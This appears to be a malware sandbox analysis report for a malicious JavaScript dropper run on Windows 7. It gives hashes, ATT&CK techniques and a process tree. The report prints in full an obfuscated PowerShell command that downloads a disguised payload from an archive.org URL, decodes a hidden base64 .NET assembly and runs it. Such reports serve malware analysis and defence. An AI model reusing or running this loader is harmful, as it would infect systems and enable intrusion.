cabc9839ffae3cb2a8d429f37db6fc990761adab7ae2a4e9566b2f7fa22e4ef3

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20-01-2025 06:54

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General

Target

20250120.js
Size

73KB
MD5

3c59d737f35d68bbe2e3b439f5b2721e
SHA1

348a45200e40b92d6568dfbd84645da895d071e2
SHA256

7a9213f8719cf4d04d44e17846fd121c58a3f6d4bf1ffe834836c8ae746b248b
SHA512

0b73c8d15fda1e90e7a892c33716e0393ca51a24d404a1ba2146988d2dcab7b9889fd331ca8a1644d6e299d80f3dfb29079ebfc6bce7ac409105d4e7473f84c5
SSDEEP

1536:0Q4izQ6VsYW/t5JKtxG+B5jIWiHKHmdcAEGM6vax:0OzQ6Vi/vdPk

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2748	powershell.exe
6	2748	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2748	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2748	2508	wscript.exe	30
PID 2508 wrote to memory of 2748	2508	wscript.exe	30
PID 2508 wrote to memory of 2748	2508	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2748-4-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download
memory/2748-5-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2748-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2748-7-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download